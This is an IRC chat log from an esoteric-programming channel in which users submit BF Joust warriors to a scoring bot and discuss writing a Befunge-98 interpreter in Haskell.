19:58:47 <zzo38> ais523: I do not need to emulate any processor. Just emulation of the audio/video units of other systems.
19:58:49 <Lymia> !bfjoust beatstripwire (>)*100
19:58:51 <Deewiant> elliott: Why would the stack stack ever be empty?
19:58:54 <EgoBot> Score for Lymia_beatstripwire: 0.0
19:59:00 <ais523> zzo38: hmm
19:59:02 <elliott> Deewiant: Because it has an infinite number of empty stacks on it.
19:59:04 <Lymia> !bfjoust beatstripwire .(>)*100
19:59:07 <EgoBot> Score for Lymia_beatstripwire: 0.0
19:59:08 <zzo38> CPU emulation can be done using a normal processor which is connected to the DSP.
19:59:09 <Lymia> :(
19:59:11 <ais523> Lymia: that loses to tripwire because it falls off the other end before tripwire can reach it
19:59:13 <Deewiant> elliott: So... it's never empty
19:59:14 <ais523> it needs to be slower than that
19:59:16 <Lymia> Ah.
19:59:18 <elliott> Deewiant: It can be physically empty.
19:59:23 <ais523> tripwire has to contain conditionals, they slow down the movement
19:59:25 <elliott> Deewiant: Just like the stack [] is actually [0,0,0,0,...].
19:59:29 -!- Behold has joined.
19:59:45 <elliott> Deewiant: Still, pop is quite ugly: {{ pop = do x <- tos; modifyStack tail; return x }} -- and that doesn't even handle an "empty" stack.
19:59:47 <Lymia> So.
19:59:53 <elliott> ((modifyStack tail) will fail.)
19:59:54 <Lymia> How embaressing is it to lose to a noop again?
20:00:04 <Deewiant> elliott: modifyStack (drop 1)
20:00:06 <zzo38> ais523: Do you know anything about these kind of things to be able to give answer?
20:00:12 <elliott> Deewiant: Fair enough.
20:00:13 <quintopia> Lymia: not very
20:00:16 -!- BeholdMyGlory has quit (Read error: Operation timed out).
20:00:25 <elliott> Deewiant: Are you sure that won't be inefficient, though? :-)
20:00:33 <Lymia> !fyb shouldnt-win %
20:00:36 <ais523> zzo38: not really, except that what you say seems incredibly optimistic, based on the typical behaviour of FPGA and DSP vendors
20:00:41 <Deewiant> elliott: Representing stacks as [Int32] already is ;-)
20:00:59 <elliott> Deewiant: Well, not _that_ inefficient.
20:01:06 <elliott> Deewiant: Most stack operations are perfectly linked-list-friendly.
20:02:01 <Deewiant> Yes, but having the stack be essentially a pointer to a struct stack { stack* next; int* value; } is a bit wasteful :-P
20:02:14 <elliott> modifyFungeSpace f st{fungeSpace=fs} = st{fungeSpace = f fs}
20:02:17 <elliott> "Parse error in pattern"
20:02:17 <elliott> WHYY
20:02:21 <elliott> Oh.
20:02:22 <elliott> Needs to be
20:02:25 <elliott> st@FungeState
20:02:31 <zzo38> ais523: It doesn't matter if the vendor will provide the Free literate program that accurately emulates the DSP, as long as such a program can be exist.
20:02:31 <elliott> Because, you know, it's just not ugly enough as it is.
20:02:35 <elliott> Deewiant: Wasteful memory-wise, sure.
20:02:42 <elliott> Deewiant: I'll pack it together later. :p
20:02:45 <Deewiant> Also cpu-wise.
20:02:58 <olsner> elliott: you don't *have* to pattern-match the record you know
20:03:06 <EgoBot> Score for Lymia_shouldnt-win: 5.1
20:03:08 <elliott> olsner: MEH
20:03:09 <zzo38> And that the vendor cannot deny that the emulator works properly.
20:03:15 <elliott> Deewiant: Not really...
20:03:23 <elliott> Deewiant: As I said, most operations are linked-list friendly.
20:03:24 <Deewiant> Swapping the top two elements of the stack is what, three memory reads and four writes? :-P
20:03:37 <olsner> modifyFungeSpace f st = st { fungeSpace = f (fungeSpace st) }
20:03:40 <elliott> Deewiant: OH NOES
20:03:45 <elliott> olsner: MINE'S MORE EFFICIENT
20:04:00 <Deewiant> elliott: Hey, Funge-98 is all about the SPEED
20:04:04 <elliott> IT IS
20:04:06 <elliott> ALL ABOUT THE SPEED
20:04:17 <Lymia> elliott, I want to start with basic programs, start evolving, and see what happens.
20:04:20 <Lymia> So.
20:04:21 <elliott> Deewiant: Do you have to keep track of how many real stacks there are on the stackstack?
20:04:25 <Lymia> [>[-]+]
20:04:28 <elliott> Lymia: Probably the best idea. Ask ais523 for attackN and defendN.
20:04:29 <elliott> For some N.
20:04:42 <Lymia> And [(++++++++)*100]
20:05:04 * Lymia pokes ais523
20:05:10 <Deewiant> elliott: Maybe, I can't remember.
20:05:26 <elliott> HEY VORPAL
20:05:28 <ais523> umm, hmm
20:05:34 <Deewiant> Probably not for the standard, but maybe a fingerprint.
20:06:11 <elliott> Deewiant: Now I just have to figure out how to rename modifyStack so that I don't have to do modify $ modifyStack which looks ugly :P
20:06:15 <elliott> Maybe mStack.
20:06:29 <elliott> I could put them in the monad, but, that's UGLY!
20:06:34 <elliott> OK, no it's not.
20:06:36 <elliott> It's going in the monad.
20:07:50 <Lymia> ais523, <elliott> Lymia: Probably the best idea. Ask ais523 for attackN and defendN.
20:08:03 <ais523> Lymia: yep, I'm trying to package them atm
20:08:49 <elliott> ais523: you might want to omit the really bad ones
20:08:58 <elliott> istr there were two or so really bad defend ones
20:09:04 <ais523> indeed, the first few were all awful
20:09:09 <ais523> because defend's harder to write than attack
20:09:15 <elliott> No instance for (Applicative (StateT FungeState IO))
20:09:16 <elliott> wtf?
20:09:27 <ais523> I think 5 was the only one that accomplished anything at all, and 7 was the first really good one
20:09:49 <quintopia> !bfjoust stall >>>(+)*30<[+](>)*25+[>[-]+]
20:09:50 <elliott> ais523: just give the attacks and defend5/7, then
20:09:53 <EgoBot> Score for quintopia_stall: 0.0
20:09:53 <elliott> no point starting on a terrible hill
20:10:10 <ais523> now I'm wondering what happened to 6 and 8
20:10:25 <ais523> I'm also curious as to why 7 beats 9 on the hill, too; I think 9 might just be too complex for its own good
20:10:57 <quintopia> what does defend do? just sit at home and keep it from zeroing?
20:11:00 <Lymia> !bfjoust horrible_idea (>)*10([-]>>)*20
20:11:05 <EgoBot> Score for Lymia_horrible_idea: 2.3
20:11:12 <ais523> quintopia: I think so, although that's kind-of hard to do
20:11:16 <ais523> defend1, that is
20:11:18 <quintopia> ah
20:11:35 <ais523> defend7 alternates between preventing its own flag from zeroing, and zeroing its opponent's
20:11:48 <quintopia> how?
20:11:52 <ais523> Lymia: http://pastebin.com/raw.php?i=kEDLr57T
20:12:03 <Lymia> Thakns
20:12:05 <quintopia> does it figure out the width of the game?
20:12:06 <Lymia> Thanks*
20:12:07 <ais523> quintopia: by relying on the fact that (+)*128 increases the flag faster than any loop can decrease it
20:12:34 <ais523> and it simply cycles each of the tape elements through their 256 possible values in turn, relying on the fact that the opponent is locked in place and can't interfere
20:12:43 <quintopia> oh
20:12:59 <quintopia> wow
20:13:27 <Lymia> ais523, I got a checksum fail on defend2
20:13:32 <quintopia> how does it find its way home again?
20:13:58 <Lymia> +>+[]<[[[+..+]+]+]
20:14:04 <Lymia> Is this defend2?
20:14:28 <ais523> yep
20:14:34 <ais523> I think it might be a newline issue
20:14:38 <elliott> oerjan: how do you implement Applicative for a monad?
20:15:06 <oerjan> pure = return, (<*>) = ap
20:15:09 <elliott> thanks
20:15:21 <elliott> -- sigh
20:15:21 <elliott> instance (Monad m) => Applicative (StateT s m) where
20:15:21 <elliott> pure = return
20:15:21 <elliott> (<*>) = ap
20:15:51 <elliott> Deewiant: ha, you were wrong, I have stacks, fungespace and MULTIPLE functions!
20:15:53 <elliott> and a monad!
20:15:55 <elliott> nothing can stop me now!
20:16:00 <iconmaster> I was wondering: I would like to put my Lua Underload interpreter on the Esoteric File Archive. I'm kinda new to this; how would I do this?
20:16:14 <Deewiant> elliott: Ha, you fell into my trap: I just tried to guilt you into actually doing something!
20:16:23 <ais523> `addquote <elliott> Deewiant: ha, you were wrong, I have stacks, fungespace and MULTIPLE functions! <elliott> and a monad! <elliott> nothing can stop me now!
20:16:25 <HackEgo> 294) <elliott> Deewiant: ha, you were wrong, I have stacks, fungespace and MULTIPLE functions! <elliott> and a monad! <elliott> nothing can stop me now!
20:16:26 <elliott> Deewiant: ...I'm so glad I didn't realise you were doing that :-D
20:16:31 <ais523> iconmaster: you need to email it to someone with admin access there
20:16:38 <ais523> most such people are relatively inactive, though
20:16:38 <elliott> ais523: YOU FORGOT TWO SPACES BETWEEN EACH MESSAGE :D
20:16:43 <ais523> I think there's a list somewhere
20:16:44 <quintopia> !bfjoust stall >>+++++>(+)*30[]<[+](>)*25+[>[-]+]
20:16:47 <Deewiant> elliott: ... and now you're done with it for this attempt. :-D
20:16:52 <iconmaster> ok thanks! ill look for the list.
20:17:00 <elliott> Deewiant: no just say another thing that upsets me
20:17:03 <elliott> like
20:17:09 <elliott> i bet you can't even make that typecheck
20:17:15 <EgoBot> Score for quintopia_stall: 0.0
20:17:22 <quintopia> ha
20:17:28 <quintopia> brilliant
20:17:31 <elliott> :D
20:17:32 <Deewiant> elliott: It won't work anymore now that you know what to expect
20:17:38 <elliott> quintopia: (>)*25 will always die
20:17:42 <elliott> well
20:17:43 <elliott> almost always
20:17:45 <elliott> the tape is 10-30 long
20:17:50 <quintopia> oh
20:17:57 <elliott> Deewiant: Why did you admit what you were doing :/
20:17:58 <quintopia> i thought the min was 30
20:18:24 <elliott> Deewiant: WHYY
20:18:28 <quintopia> the point here was to make egobot take as long as possible to reply tho, not win
20:18:34 <Deewiant> elliott: Because you said I was wrong, and I knew it'd make you stop anyways
20:18:38 <Gregor> Am I the only person who is both sufficiently obsessed with reproducibility and needing of randomness to explicitly srand(0)?
20:18:53 <elliott> Deewiant: lawl
20:18:59 <ais523> Gregor: you do know that srand(1) happens by default, right? (at least in C)
20:19:01 <elliott> Deewiant: no i'll keep going
20:19:02 <Deewiant> elliott: And I was right again!
20:19:03 <elliott> I MUST KEEP GOING
20:19:06 <ais523> so 1 is clearly the standard seed for reproducible randomness!
20:19:14 <Gregor> ais523: Not talking about C, and a lot of languages autoseed.
20:19:24 <elliott> Deewiant: I'M GOING TO WRITE A FUNGESPACE PARSER NOW
20:19:28 <elliott> AND YOU'RE NOT GOING TO BE ABLE TO STOP ME
20:19:30 <elliott> HOW DO YOU FEEL ABOUT THAT
20:19:38 <Deewiant> Good luck with that, that's actually a bit of a pain :-D
20:19:42 <elliott> Deewiant: Really?
20:19:48 <elliott> Deewiant: It's just the same as Befunge-93 loading, isn't it?
20:19:58 <Deewiant> Well, maybe not if you're happy with inefficiency and only Befunge and that data structure
20:20:06 <Deewiant> And no, not quite
20:20:08 <elliott> <Deewiant> No, if you see a k followed by three 2s then you have to erase a spiral pattern going out from the centre.
20:20:16 <elliott> <Deewiant> This arises because of a comma instead of a . in the original spec.
20:20:17 <Deewiant> You need to drop form feeds, for instance
20:20:20 <Vorpal> <ais523> so 1 is clearly the standard seed for reproducible randomness! <-- no it is 4 iirc
20:20:33 <elliott> Vorpal: no, that's the reproducible random number
20:20:36 <ais523> the 4 in the xkcd comic isn't a seed
20:20:37 <elliott> not the reproducible seed
20:20:41 <elliott> DON'T YOU KNOW ANYTHING
20:20:44 <Vorpal> elliott, oh right
20:20:55 <elliott> Deewiant: DING DING DING NEW DEPENDENCY
20:20:57 <elliott> BYTESTRING
20:21:01 <quintopia> !bfjoust stall >+++>--->(+)*30[]<[+](>)*6+[>[-]+]
20:21:09 <elliott> Deewiant: (whenever your Haskell program gets a new dependency you have to do that)
20:21:11 <elliott> it's the law
20:21:14 <EgoBot> Score for quintopia_stall: 0.4
20:21:18 <Lymia> Let's write a Befunge to Hasell compiler.
20:21:23 <elliott> Lymia: No :P
20:21:29 <quintopia> lul what did it beat?
20:21:41 <Lymia> !bfjoust it_kills_tripwire [-]
20:21:42 <Vorpal> <HackEgo> 294) <elliott> Deewiant: ha, you were wrong, I have stacks, fungespace and MULTIPLE functions! <elliott> and a monad! <elliott> nothing can stop me now!
20:21:45 <Vorpal> elliott, okay and then
20:21:49 <Vorpal> what do we get next
20:21:56 <elliott> Vorpal: Fungespace loading, as I said.
20:22:00 <elliott> Well, befungespace.
20:22:13 <elliott> Right now I have no idea how I'm going to do Lahey-wrapping. Probably the easy way.
20:22:16 <Vorpal> elliott, right. Remember you need to handle all line endings
20:22:21 <Vorpal> elliott, \r \n and \r\n
20:22:36 <elliott> Vorpal: \r *space* \n?
20:22:37 <elliott> :D
20:22:38 <elliott> BEST LINE ENDING
20:22:39 <EgoBot> Score for Lymia_it_kills_tripwire: 5.4
20:22:44 <Vorpal> elliott, hah, alas no
20:23:01 <elliott> Shiro.Types is rapidly turning into Shiro.Everything,
20:23:02 <elliott> *Everything.
20:23:11 <Vorpal> elliott, bad design
20:23:14 <elliott> \r is 13, right?
20:23:17 <elliott> Vorpal: I'll split it up later.
20:23:18 <Deewiant> Unsurprisingly most of your code has something to do with types
20:23:20 <ais523> back when I wrote DOS programs, I used to end lines with \n\r
20:23:21 <Vorpal> elliott, I think s
20:23:23 <Vorpal> so*
20:23:25 <elliott> Deewiant: :D
20:23:28 <ais523> on the basis that it worked and I didn't know better
20:23:43 <elliott> SimonRC: >_<
20:23:43 <Vorpal> ais523, hahaha
20:23:44 <elliott> *ais523:
20:23:45 <ais523> (pure \n doesn't work on DOS, it moves one line down without returning to the start of the line, unless it's sent to a function like printf that translates newlines)
20:23:46 <elliott> terrible typo
20:23:47 <Lymia> ais523.
20:23:51 <Lymia> Name the three worst of those.
20:24:00 <elliott> Actually I think I'll split it up now.
20:24:10 <ais523> I don't think seeing full stops on IRC is particularly /bad/, it's just weird
20:24:32 <ais523> whereas commas in that position are an insane default in some clients
20:24:41 <Vorpal> hey!
20:24:54 <elliott> hmm, but what do I call the module with both Value and Vector
20:24:59 <elliott> TypesBeginningWithV?
20:25:02 <Deewiant> BasicTypes
20:25:04 <ais523> elliott: that's what I was going to say!
20:25:08 <Vorpal> ais523, I shall switch mine to ; then
20:25:12 <elliott> *ais523;
20:25:23 <quintopia> !bfjoust stall +>->+>(+)*30[]<[-](>)*6+[>[-]+]
20:25:23 <Vorpal> elliott, hah, beat you to it
20:25:30 <EgoBot> Score for quintopia_stall: 0.4
20:25:38 <elliott> Vorpal: no you didn't
20:25:44 <elliott> <Vorpal> ais523, I shall switch mine to ; then
20:25:45 <Vorpal> elliott, uh?
20:25:45 <elliott> <elliott> *ais523;
20:25:48 <elliott> I was correcting your line.
20:25:51 <Vorpal> elliott, oh right
20:26:04 <Vorpal> elliott, I didn't say I *had* switched it
20:26:06 <elliott> I think I'll just put Vector in Shiiro.Value.
20:26:07 <Vorpal> just that I shall
20:26:08 <elliott> No reason not to, really.
20:26:11 <Vorpal> which is different
20:26:17 <Vorpal> elliott, so your correction was incorrect
20:27:32 <elliott> cardinal :: Vector -> Bool
20:27:32 <elliott> cardinal (a,b) = ok a && ok b
20:27:32 <elliott> where ok x = x == -1 || x == 0 || x == 1
20:27:34 <elliott> SO ELEGAN
20:27:34 <elliott> T
20:27:36 <elliott> *ELEGANT
20:28:00 <quintopia> !bfjoust stall +>->+>>+<(+)*30[]<[-]<[-](>)*7+[>[-]+]
20:28:22 <EgoBot> Score for quintopia_stall: 2.9
20:28:28 <quintopia> whoa
20:28:28 <elliott> Hmm.
20:28:39 <elliott> Vorpal: See, splitting this up was the wrong decision, I have a circular dependency now.
20:28:54 <Vorpal> elliott, hm?
20:29:06 <Deewiant> elliott: abs x <= 1
20:29:12 <elliott> Deewiant: LESS EFFICIENT
20:29:18 <Deewiant> elliott: No branches
20:29:22 <Deewiant> elliott: MORE EFFICIENT
20:29:23 <elliott> Vorpal: Shiro.Stack has functions to push and pop from stacks in the Funge monad FM.
20:29:36 -!- pumpkin has quit (Ping timeout: 255 seconds).
20:29:37 <Vorpal> elliott, another issue with that cardinal one: 1,1 is cardinal in your example
20:29:38 <elliott> Vorpal: Shiro.Monad defines FM and FungeState, its state.
20:29:44 <elliott> FungeState contains a StackStack.
20:29:50 <elliott> So Shiro.Stack depends on Shiro.Monad and vice versa.
20:30:02 -!- copumpkin has joined.
20:30:24 <Vorpal> elliott, I believe your cardinal function is highly bugged!
20:30:43 <elliott> oh indeed
20:30:48 <elliott> but that's irrelevant
20:30:50 <elliott> circular dependency!
20:30:51 <elliott> i'm fucked!
20:30:52 <Vorpal> elliott, how so
20:30:56 <elliott> because circular
20:31:00 <Vorpal> elliott, why is that bad
20:31:13 <Vorpal> elliott, I mean it can be initialised in a specific order no?
20:31:28 <Lymia> !bfjoust headdesk (>)*10([-])*1(<)*10[](+)*256(>)*11([-])*1(<)*11[](+)*256(>)*12([-])*1(<)*12[](+)*256
20:31:33 <Lymia> I wonder.
20:31:34 <EgoBot> Score for Lymia_headdesk: 5.4
20:31:38 <elliott> Vorpal: um I think the module system has troubles
20:31:40 <elliott> with it
20:31:40 <Lymia> If I continued this pattern, how well would it do.
20:31:42 <elliott> even so, it's ugly
20:31:45 <elliott> this is why people have Types modules
20:31:49 <Vorpal> elliott, even if in the same module?
20:31:57 <elliott> I'm just going to put all my types in one module
20:31:58 <Lymia> WOULD IT BEAT TRIPWIRE?
20:32:02 <elliott> and have values and functions others
20:32:08 <Vorpal> hah
20:32:46 <elliott> but then that's ugly
20:32:47 <elliott> ugh
20:34:31 <Lymia> !bfjoust silly [[](+)*128]
20:34:39 <EgoBot> Score for Lymia_silly: 5.6
20:34:51 <Lymia> elliott, does this mean that I beat tripwire?
20:34:59 <elliott> dunno
20:35:02 <elliott> probably
20:35:05 <elliott> i think so, ask ais523 :P
20:35:28 <ais523> Lymia: report.txt has all the details
20:35:40 <ais523> but yes, that beats tripwire, it doesn't suicide fast enough to die first, and doesn't set decoys
20:35:54 <Lymia> nescience_shade?
20:35:57 <Lymia> tripwire is gone.
20:36:17 <elliott> gasp
20:36:23 <Lymia> We killed it.
20:36:23 <Lymia> D=
20:36:36 <Vorpal> !help bfjoust
20:36:37 <EgoBot> Sorry, I have no help for bfjoust!
20:36:39 <Vorpal> !help
20:36:40 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
20:36:48 <Vorpal> what was the page
20:36:55 <Lymia> Generation 11 is full of variations on
20:36:55 <Lymia> [>[+]-.-.-.-.---]
20:36:56 <Lymia> :v
20:37:09 <elliott> Lymia: suggestion: pit programs against *all* previous generations
20:37:14 <elliott> or at least the past, say, 5 to 10
20:37:22 <Lymia> elliott, what would that be?
20:37:25 <elliott> Lymia: that way you avoid regressing
20:37:26 <elliott> what would that be?
20:37:29 <Lymia> O(n!) or something?
20:37:35 <elliott> um no
20:37:38 <elliott> assuming every generation is the same size
20:37:40 <elliott> then it's O(1)
20:37:44 <Lymia> I mean.
20:38:04 <Lymia> It's already O(n^2) to the number of bots in each generation...
20:38:12 <quintopia> keeping the top two from each generation into the next is also a good idea
20:38:28 <Deewiant> O(n^(h+1)) where n is the generation size and h the amount of historical generations you compete against
20:38:37 <elliott> <quintopia> keeping the top two from each generation into the next is also a good idea
20:38:38 <elliott> this
20:38:39 <elliott> just do that
20:38:43 <elliott> then it's two more warriors per generation
20:38:44 <elliott> or whatever
20:38:57 <Lymia> Good idea, I guess.
20:39:20 <elliott> Deewiant: All sequences of bytes represent a valid fungespace, right?
20:39:40 <Deewiant> Unless you want to treat the input as encoded somehow (e.g. UTF-any), yes.
20:40:33 <elliott> Vorpal: I see no indication that form feeds must be ignored in Befunge.
20:40:36 <elliott> "In Trefunge-98, the Form Feed (12) character increments the z coordinate and resets the x and y coordinates to zero."
20:40:44 <elliott> But nowhere does it say that it is non-literal in Befunge-98.
20:40:57 <Deewiant> elliott: IT HAS BEEN INFERRED now shut up.
20:41:10 <elliott> Deewiant: Sorry, am I reminding you of Vorpal-circa-2008? :-)
20:41:17 <elliott> Or was it 2009.
20:41:50 -!- azaq23 has joined.
20:42:00 <elliott> Deewiant's silence only serves as confirmation.
20:42:13 <elliott> Deewiant: So is \r<FORM FEED>\n a valid line terminator?
20:42:14 <elliott> </troll>
20:42:27 <Deewiant> Hah, that's an interesting question actually :-D
20:42:42 <Deewiant> "Subsequent lines in Unefunge are simply appended to the first"
20:42:50 <Lymia> elliott, is \r\n\n\r a valid double line terminator?
20:42:53 <elliott> Deewiant: Ah, is that from what you inferred it?
20:43:01 <elliott> *fix that line to make sense
20:43:06 <Deewiant> Pretty much, yes
20:43:13 <Lymia> Unefunge?
20:43:16 <elliott> Deewiant: STILL ... I really don't see even an implication that form feeds get ignored in Befunge :D
20:43:21 <Lymia> Is that supposed to be a mix of Unlambda ane Befunge?
20:43:22 <elliott> Lymia: like befunge-98, but one-dimensional
20:43:24 <Deewiant> elliott: Form feeds in befunge should work analogously to newlines in befunge
20:43:26 <Lymia> and*
20:43:27 <Deewiant> Er
20:43:30 <Deewiant> s/befunge$/unefunge/
20:43:30 <elliott> Deewiant: Based on what? :-D
20:43:39 <Deewiant> Because it only makes sense
20:43:43 <elliott> Deewiant: I'm trying to DS9k here, you should be supportive.
20:43:45 <elliott> Okay, fine.
20:43:52 <elliott> Deewiant: Add \r<FORM FEED>\n to the next Mycology. :-)
20:43:53 <ais523> what do newlines do in unefunge nayway?
20:43:57 <ais523> *anyway
20:44:08 <elliott> ais523: <Deewiant> "Subsequent lines in Unefunge are simply appended to the first"
20:44:14 <ais523> aha
20:44:32 <elliott> ascii invented textspeak
20:44:33 <Deewiant> And "End-of-line markers are never copied into Funge-Space. ", of course.
20:44:33 <elliott> "who are you?" (WRU), "are you?" (RU)
20:44:35 <elliott> :D
20:45:32 <quintopia> !bfjoust bfbf (>+)*9<((+)*127<)*8(>)*8+[[+]>+]
20:45:37 <EgoBot> Score for quintopia_bfbf: 0.0
20:45:48 <elliott> fromByteString = go . filter (/=ff)
20:46:04 <elliott> Deewiant: Shiro: The only Befunge-98 implementation supporting \r<FF><FF><FF>\n<FF> as a line terminator.
20:46:18 <Deewiant> heh
20:46:37 <Deewiant> I'd argue that that's incorrect but I don't really care enough :-D
20:47:04 <quintopia> !bfjoust bfbf (>+)*9<((+)*127<)*7(>)*7+[[+]>+]
20:47:05 <elliott> Deewiant: Yeah, it probably is.
20:47:10 <EgoBot> Score for quintopia_bfbf: 0.0
20:47:12 <elliott> Deewiant: Technically, that should actually be two lines.
20:47:22 <elliott> Deewiant: I think it's \r\n, except with a forceful break after the \r.
20:47:29 <elliott> Because the form-feed operates on lines here.
20:48:04 <elliott> -- bug: this accepts \r<FF>\n as one newline, whereas it should be
20:48:05 <elliott> -- the same as \n\n, technically, but who gives a fuck, considering
20:48:05 <elliott> -- that the ignoring <FF> thing isn't actually in the spec at all
20:49:13 -!- kar8nga has quit (Read error: Connection reset by peer).
20:49:19 <zzo38> !bfjoust 1 [>]
20:49:26 <EgoBot> Score for zzo38_1: 5.6
20:49:48 <elliott> Deewiant: What do initial newlines do?
20:49:50 <elliott> Add padding?
20:49:58 <Deewiant> Increment the y-coordinate?
20:50:05 <zzo38> !bfjoust 1 +[[-]+]
20:50:10 <Deewiant> Cause the program to infinite loop, guaranteed?
20:50:11 <zzo38> !bfjoust 2 [>]
20:50:15 <elliott> Deewiant: Right.
20:50:39 <EgoBot> Score for zzo38_2: 8.2
20:50:39 <EgoBot> Score for zzo38_1: 4.9
20:51:29 <zzo38> !bfjoust 3 +[>+]
20:51:33 <EgoBot> Score for zzo38_3: 0.0
20:51:37 <quintopia> !bfjoust bfbf ((>+)*4(+<)*4)*64(>)*9+[>[-]+]
20:51:40 <EgoBot> Score for quintopia_bfbf: 1.0
20:51:52 <Lymia> !bfjoust dumb [+>]
20:51:57 <EgoBot> Score for Lymia_dumb: 5.6
20:52:04 <quintopia> whoa
20:52:20 <elliott> Couldn't match expected type `GHC.Word.Word8'
20:52:20 <elliott> against inferred type `Value'
20:52:21 <elliott> oh christ :)
20:52:21 <Lymia> !bfjoust dumb [[+>]+]
20:52:24 <EgoBot> Score for Lymia_dumb: 0.0
20:52:34 <elliott> hooray, (/= fromIntegral ff)
20:52:38 <zzo38> !bfjoust 4 +[>+<]
20:53:04 <EgoBot> Score for zzo38_4: 0.0
20:54:00 <zzo38> !bfjoust 5 ([>][<])*42
20:54:05 <EgoBot> Score for zzo38_5: 5.6
20:54:34 <zzo38> !bfjoust 6 ([>][+][<])*42
20:54:41 <EgoBot> Score for zzo38_6: 5.6
20:55:08 -!- kfr has left (?).
20:55:13 <zzo38> !bfjoust 7 [[-]>]
20:55:38 <zzo38> !bfjoust 8 >>+[[-]>]
20:55:41 <EgoBot> Score for zzo38_7: 5.4
20:55:44 <EgoBot> Score for zzo38_8: 5.2
20:57:03 <Vorpal> <elliott> Vorpal: I see no indication that form feeds must be ignored in Befunge. <-- oh?
20:57:07 <Vorpal> elliott, ask Deewiant then
20:57:10 <Vorpal> for where that came from
20:57:46 <elliott> Vorpal: His ass, AFAICT.
20:57:49 <elliott> :P
20:57:54 -!- copumpkin has changed nick to c0w.
20:58:14 <Vorpal> <Lymia> elliott, is \r\n\n\r a valid double line terminator? <-- triple I think. \r\n, \n, \r
20:58:22 <elliott> no clearly it's four
20:58:23 <elliott> \r
20:58:24 <elliott> \n
20:58:25 <elliott> \n
20:58:26 <elliott> \r
20:58:26 <elliott> :D
20:58:49 <Vorpal> elliott, no
21:02:15 <elliott> fromByteString = FungeSpace . foldl' go Map.empty . zip [0..] . B8.lines . B.filter (/= fromIntegral ff)
21:02:16 <elliott> where go m (y,s) = B.foldl' (\m' w -> Map.insert (y,undefined) (fromIntegral w) m') m s
21:02:17 <elliott> almost done!
21:03:31 <elliott> fromByteString = FungeSpace . snd . foldl' go (0, Map.empty) . B8.lines . B.filter (/= fromIntegral ff)
21:03:31 <elliott> where go (y,m) s = (y+1, snd $ B.foldl' (\(x,m') w -> (x+1, Map.insert (y,x) (fromIntegral w) m')) (0,m) s)
21:03:34 <elliott> Deewiant: and how long is YOUR reader
21:03:42 <Deewiant> Very, because my data structure is much more intricate
21:03:51 <Deewiant> And it handles trefunge and unefunge correctly :-P
21:03:52 <elliott> *Shiro.FungeSpace> fromByteString "abc\ndef"
21:03:52 <elliott> FungeSpace (fromList [((0,0),97),((0,1),98),((0,2),99),((1,0),100),((1,1),101),((1,2),102)])
21:03:54 <elliott> Look at that, it's perfect.
21:04:04 <zzo38> !bfjoust 9 ++[.+.-+.-.+.>+>+<<]
21:04:06 <elliott> I bet it's even efficient, thanks to phyooosion!
21:04:14 <EgoBot> Score for zzo38_9: 0.0
21:04:32 <elliott> FungeSpace (fromList [((0,0),13)])
21:04:45 <elliott> turns out lines doesn't support \r or \r\n
21:04:52 <zzo38> !bfjoust 10 >++[.+.-+.-.+.>+<]
21:05:39 <EgoBot> Score for zzo38_10: 0.0
21:06:15 <elliott> I fail to remove 32s, yay
21:06:47 <elliott> (That breaks my bounds function)
21:06:52 <Lymia> zzo38, what re you rying to do.
21:06:55 <Lymia> With the -+ and all.
21:07:06 <zzo38> !bfjoust 11 (>)*9([-]>)*20
21:07:14 <EgoBot> Score for zzo38_11: 5.6
21:07:18 <zzo38> Lymia: Just experiment, is all. I am not trying to win, really.
21:07:25 <Lymia> !bfjoust a_derp >-[>[-]+]
21:07:37 <EgoBot> Score for Lymia_a_derp: 1.2
21:08:37 -!- oerjan has quit (Quit: Lost terminal).
21:08:57 <zzo38> !bfjoust 12 (>+)*9[+]
21:09:13 <EgoBot> Score for zzo38_12: 0.3
21:09:35 <zzo38> !bfjoust 12 (>-)*11[-]
21:09:54 <EgoBot> Score for zzo38_12: 0.0
21:10:22 <zzo38> !bfjoust 13 (>+)*5[+.]
21:10:41 <EgoBot> Score for zzo38_13: 0.0
21:11:30 <zzo38> !bfjoust 14 ()))((((((((((((((((**************
21:11:30 <elliott> <monochrom> paying for homework is fine, as long as you pay well, IMO
21:11:32 <elliott> <monochrom> for example "I'll pay you us$5 this is good money for you considering how poor you are!" is not pay well. it's insulting. make it us$500.
21:11:33 <EgoBot> Score for zzo38_14: 0.0
21:11:36 <elliott> monochrom: the PoppaVic of #haskell?
21:13:08 <elliott> fromByteString :: ByteString -> FungeSpace
21:13:08 <elliott> fromByteString = snd . foldl' line (0, emptyFungeSpace) . B8.lines . B.filter (/= fromIntegral ff)
21:13:08 <elliott> where line (y,fs) s = (y+1, snd $ B.foldl' (byte y) (0,fs) s)
21:13:08 <elliott> byte y (x,fs') w = (x+1, insertFS (x,y) (fromIntegral w) fs')
21:13:16 <elliott> Vorpal: how readable is THAT!!
21:13:35 <elliott> it actually is pretty readable, if you read it backwards :P
21:14:01 <zzo38> !bfjoust 15 (>++++++++++>++++<++++>+++++++>++<++++>++++[>+++<+++>++<++++]>>+++<+++>+>++++++<++++>+++>+<++++<+<++++<<++++>+<+[<+>+])*12[-<>+]+[+]<[-]<>><><<>>><<><>>+++++++
21:14:34 <EgoBot> Score for zzo38_15: 0.0
21:15:15 <Deewiant> elliott: You're going to need a union function or give that a FungeSpace as input if you want to implement 'i' without mostly rewriting that
21:15:36 <elliott> Deewiant: Easy enough to take a FungeSpace as input... probably more efficient than union too.
21:15:41 <elliott> Deewiant: Does "i" really load at position (0,0)?
21:16:03 <Deewiant> No, "i" takes the position as input
21:16:13 <elliott> Ah, that's easy enough to do as well.
21:16:14 <Deewiant> And if you take a FungeSpace as input, you need to not overwriting existing stuff with spaces
21:16:19 <Deewiant> overwrite*
21:17:05 <zzo38> !bfjoust 16 This is a test of the emergency broadcast system
21:17:20 <EgoBot> Score for zzo38_16: 5.6
21:17:43 <elliott> Deewiant: Oh joy
21:18:07 <Vorpal> elliott, not sure
21:18:14 <zzo38> That's strange. It is not a valid program but I still earned 5.63
21:18:18 <elliott> mergeByteString :: FungeSpace -> Vector -> ByteString -> FungeSpace
21:18:18 <elliott> mergeByteString fs (ox,oy) = snd . foldl' line (oy,fs) . B8.lines . B.filter (/= fromIntegral ff)
21:18:18 <elliott> where line (y,fs) s = (y+1, snd $ B.foldl' (byte y) (ox,fs) s)
21:18:18 <elliott> byte y (x,fs) w = (x+1, if fs !@ (x,y) == space then insertFS (x,y) (fromIntegral w) fs else fs)
21:18:23 <elliott> Deewiant: Tada
21:18:35 <Vorpal> zzo38, it did nothing
21:18:40 <Deewiant> elliott: Wrong
